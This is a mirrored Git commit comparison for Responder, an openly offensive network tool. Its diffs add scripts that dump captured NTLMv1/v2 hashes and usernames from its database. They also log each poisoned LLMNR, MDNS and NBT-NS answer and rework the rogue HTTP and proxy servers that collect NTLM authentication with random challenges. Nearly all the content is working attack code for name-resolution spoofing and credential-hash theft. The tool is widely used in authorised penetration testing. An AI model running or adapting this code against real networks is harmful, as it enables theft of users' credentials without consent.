mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-15 12:19:04 +00:00
Compare commits
15 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2b322b227e | ||
|
|
9440cb3e30 | ||
|
|
21d48be98f | ||
|
|
c9609bd8c6 | ||
|
|
0642999741 | ||
|
|
5f59f2934e | ||
|
|
225857b6ed | ||
|
|
2c32704b85 | ||
|
|
0e3e6f9745 | ||
|
|
0ede767d95 | ||
|
|
de6e869a79 | ||
|
|
cf654ee178 | ||
|
|
5a2ee18bfa | ||
|
|
db61f243c9 | ||
|
|
0d441d1899 |
49
DumpHash.py
Executable file
49
DumpHash.py
Executable file
@@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
|
||||||
|
def DumpHashToFile(outfile, data):
|
||||||
|
with open(outfile,"w") as dump:
|
||||||
|
dump.write(data)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv2Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
Output = ""
|
||||||
|
for row in res.fetchall():
|
||||||
|
Output += '{0}'.format(row[0])+'\n'
|
||||||
|
return Output
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print "Dumping NTLMV2 hashes:"
|
||||||
|
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv2.txt", v2)
|
||||||
|
print v2
|
||||||
|
print "\nDumping NTLMv1 hashes:"
|
||||||
|
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
||||||
|
DumpHashToFile("DumpNTLMv1.txt", v1)
|
||||||
|
print v1
|
||||||
95
Report.py
Executable file
95
Report.py
Executable file
@@ -0,0 +1,95 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sqlite3
|
||||||
|
import os
|
||||||
|
|
||||||
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
if txt.startswith('[*]'):
|
||||||
|
settings.Config.PoisonersLogger.warning(txt)
|
||||||
|
elif 'Analyze' in txt:
|
||||||
|
settings.Config.AnalyzeLogger.warning(txt)
|
||||||
|
|
||||||
|
if os.name == 'nt': # No colors for windows...
|
||||||
|
return txt
|
||||||
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
|
def DbConnect():
|
||||||
|
cursor = sqlite3.connect("./Responder.db")
|
||||||
|
return cursor
|
||||||
|
|
||||||
|
def GetResponderData(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0} : {1}, {2}, {3}, {4}, {5}, {6}, {7}, {8}'.format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
def GetResponderUsernames(cursor):
|
||||||
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('User account: {0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetResponderUsernamesWithDetails(cursor):
|
||||||
|
res = cursor.execute("SELECT client, user, module, type, cleartext FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder) ORDER BY client")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0} module: {1}:{3}\nuser account: {2}'.format(row[0], row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetResponderCompleteHash(cursor):
|
||||||
|
res = cursor.execute("SELECT fullhash FROM Responder WHERE UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('{0}'.format(row[0]))
|
||||||
|
|
||||||
|
def GetUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
|
||||||
|
|
||||||
|
|
||||||
|
def GetStatisticUniqueLookups(cursor):
|
||||||
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
|
for row in res.fetchall():
|
||||||
|
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
|
||||||
|
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = DbConnect()
|
||||||
|
print color("[+] Generating report...", code = 3, modifier = 1)
|
||||||
|
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
|
||||||
|
GetUniqueLookups(cursor)
|
||||||
|
GetStatisticUniqueLookups(cursor)
|
||||||
|
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernames(cursor)
|
||||||
|
print color("\n[+] Username details:", code = 2, modifier = 1)
|
||||||
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
|
GetResponderUsernamesStatistic(cursor)
|
||||||
|
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||||
|
#GetResponderCompleteHash(cursor)
|
||||||
@@ -15,7 +15,7 @@ LDAP = On
|
|||||||
|
|
||||||
; Custom challenge.
|
; Custom challenge.
|
||||||
; Use "Random" for generating a random challenge for each requests (Default)
|
; Use "Random" for generating a random challenge for each requests (Default)
|
||||||
Challenge = 1122334455667788
|
Challenge = Random
|
||||||
|
|
||||||
; SQLite Database file
|
; SQLite Database file
|
||||||
; Delete this file to re-capture previously captured hashes
|
; Delete this file to re-capture previously captured hashes
|
||||||
|
|||||||
@@ -62,6 +62,9 @@ settings.Config.ExpandIPRanges()
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
||||||
|
|
||||||
|
#Create the DB, before we start Responder.
|
||||||
|
CreateResponderDb()
|
||||||
|
|
||||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
def server_bind(self):
|
def server_bind(self):
|
||||||
if OsInterfaceIsSupported():
|
if OsInterfaceIsSupported():
|
||||||
@@ -238,8 +241,8 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.SSL_On_Off:
|
if settings.Config.SSL_On_Off:
|
||||||
from servers.HTTP import HTTPS
|
from servers.HTTP import HTTP
|
||||||
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,)))
|
threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTP,)))
|
||||||
|
|
||||||
if settings.Config.WPAD_On_Off:
|
if settings.Config.WPAD_On_Off:
|
||||||
from servers.HTTP_Proxy import HTTP_Proxy
|
from servers.HTTP_Proxy import HTTP_Proxy
|
||||||
|
|||||||
@@ -62,13 +62,24 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
|||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
LineHeader = "[Analyze mode: LLMNR]"
|
LineHeader = "[Analyze mode: LLMNR]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
soc.sendto(str(Buffer), self.client_address)
|
soc.sendto(str(Buffer), self.client_address)
|
||||||
LineHeader = "[*] [LLMNR]"
|
LineHeader = "[*] [LLMNR]"
|
||||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'LLMNR',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -51,6 +51,12 @@ class MDNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
|
|
||||||
@@ -60,3 +66,9 @@ class MDNS(BaseRequestHandler):
|
|||||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||||
|
|
||||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'MDNS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Request_Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|||||||
@@ -54,6 +54,12 @@ class NBTNS(BaseRequestHandler):
|
|||||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||||
LineHeader = "[Analyze mode: NBT-NS]"
|
LineHeader = "[Analyze mode: NBT-NS]"
|
||||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '1',
|
||||||
|
})
|
||||||
else: # Poisoning Mode
|
else: # Poisoning Mode
|
||||||
Buffer = NBT_Ans()
|
Buffer = NBT_Ans()
|
||||||
Buffer.calculate(data)
|
Buffer.calculate(data)
|
||||||
@@ -62,6 +68,13 @@ class NBTNS(BaseRequestHandler):
|
|||||||
|
|
||||||
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1)
|
||||||
|
|
||||||
|
SavePoisonersToDb({
|
||||||
|
'Poisoner': 'NBT-NS',
|
||||||
|
'SentToIp': self.client_address[0],
|
||||||
|
'ForName': Name,
|
||||||
|
'AnalyzeMode': '0',
|
||||||
|
})
|
||||||
|
|
||||||
if Finger is not None:
|
if Finger is not None:
|
||||||
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
|
||||||
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
|
||||||
|
|||||||
@@ -267,9 +267,34 @@ class HTTP(BaseRequestHandler):
|
|||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
|
||||||
|
while True:
|
||||||
self.request.settimeout(3)
|
self.request.settimeout(3)
|
||||||
data = self.request.recv(8092)
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
|
data = ''
|
||||||
|
while True:
|
||||||
|
buff = ''
|
||||||
|
buff = self.request.recv(8092)
|
||||||
|
if buff == '':
|
||||||
|
break
|
||||||
|
data += buff
|
||||||
|
remaining -= len(buff)
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
#check if we recieved the full header
|
||||||
|
if data.find('\r\n\r\n') != -1:
|
||||||
|
#we did, now to check if there was anything else in the request besides the header
|
||||||
|
if data.find('Content-Length') == -1:
|
||||||
|
#request contains only header
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
#searching for that content-length field in the header
|
||||||
|
for line in data.split('\r\n'):
|
||||||
|
if line.find('Content-Length') != -1:
|
||||||
|
line = line.strip()
|
||||||
|
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||||
|
|
||||||
|
#now the data variable has the full request
|
||||||
Buffer = WpadCustom(data, self.client_address[0])
|
Buffer = WpadCustom(data, self.client_address[0])
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||||
@@ -281,31 +306,7 @@ class HTTP(BaseRequestHandler):
|
|||||||
else:
|
else:
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
self.request.send(Buffer)
|
self.request.send(Buffer)
|
||||||
|
|
||||||
except socket.error:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# HTTPS Server class
|
|
||||||
class HTTPS(StreamRequestHandler):
|
|
||||||
def setup(self):
|
|
||||||
self.exchange = self.request
|
|
||||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
|
||||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
|
||||||
|
|
||||||
def handle(self):
|
|
||||||
try:
|
|
||||||
Challenge = RandomChallenge()
|
|
||||||
data = self.exchange.recv(8092)
|
|
||||||
self.exchange.settimeout(0.5)
|
|
||||||
Buffer = WpadCustom(data,self.client_address[0])
|
|
||||||
|
|
||||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
if settings.Config.Verbose:
|
|
||||||
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
|
|
||||||
|
|
||||||
else:
|
|
||||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
|
||||||
self.exchange.send(Buffer)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ def GrabHost(data):
|
|||||||
return Host
|
return Host
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def PacketSequence(data, client):
|
def PacketSequence(data, client, Challenge):
|
||||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
if NTLM_Auth:
|
if NTLM_Auth:
|
||||||
@@ -56,14 +56,14 @@ def PacketSequence(data, client):
|
|||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
print text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)
|
||||||
|
|
||||||
Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge)
|
Buffer = NTLM_Challenge(ServerChallenge=Challenge)
|
||||||
Buffer.calculate()
|
Buffer.calculate()
|
||||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
|
||||||
Buffer_Ans.calculate(str(Buffer))
|
Buffer_Ans.calculate(str(Buffer))
|
||||||
return str(Buffer_Ans)
|
return str(Buffer_Ans)
|
||||||
if Packet_NTLM == "\x03":
|
if Packet_NTLM == "\x03":
|
||||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "Proxy-Auth")
|
||||||
GrabUserAgent(data)
|
GrabUserAgent(data)
|
||||||
GrabCookie(data)
|
GrabCookie(data)
|
||||||
GrabHost(data)
|
GrabHost(data)
|
||||||
@@ -101,9 +101,10 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
|
|||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
|
Challenge = RandomChallenge()
|
||||||
for x in range(2):
|
for x in range(2):
|
||||||
data = self.request.recv(4096)
|
data = self.request.recv(4096)
|
||||||
self.request.send(PacketSequence(data, self.client_address[0]))
|
self.request.send(PacketSequence(data, self.client_address[0], Challenge))
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 2.3.3.2'
|
__version__ = 'Responder 2.3.3.5'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -229,6 +229,9 @@ class Settings:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
NetworkCard = subprocess.check_output(["ip", "address", "show"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except subprocess.CalledProcessError as ex:
|
||||||
NetworkCard = "Error fetching Network Interfaces:", ex
|
NetworkCard = "Error fetching Network Interfaces:", ex
|
||||||
pass
|
pass
|
||||||
@@ -239,6 +242,9 @@ class Settings:
|
|||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||||
|
except:
|
||||||
|
try:
|
||||||
|
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
|
||||||
except subprocess.CalledProcessError as ex:
|
except subprocess.CalledProcessError as ex:
|
||||||
RoutingInfo = "Error fetching Routing information:", ex
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
pass
|
pass
|
||||||
|
|||||||
28
utils.py
28
utils.py
@@ -26,7 +26,7 @@ import datetime
|
|||||||
def RandomChallenge():
|
def RandomChallenge():
|
||||||
if settings.Config.NumChal == "random":
|
if settings.Config.NumChal == "random":
|
||||||
from random import getrandbits
|
from random import getrandbits
|
||||||
NumChal = '%0x' % getrandbits(16 * 4)
|
NumChal = '%016x' % getrandbits(16 * 4)
|
||||||
Challenge = ''
|
Challenge = ''
|
||||||
for i in range(0, len(NumChal),2):
|
for i in range(0, len(NumChal),2):
|
||||||
Challenge += NumChal[i:i+2].decode("hex")
|
Challenge += NumChal[i:i+2].decode("hex")
|
||||||
@@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
|
|||||||
with open(outfile,"a") as dump:
|
with open(outfile,"a") as dump:
|
||||||
dump.write(data + '\n')
|
dump.write(data + '\n')
|
||||||
|
|
||||||
def SaveToDb(result):
|
def CreateResponderDb():
|
||||||
# Creating the DB if it doesn't exist
|
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
@@ -222,6 +225,23 @@ def SaveToDb(result):
|
|||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
|
|||||||
Reference in New Issue
Block a user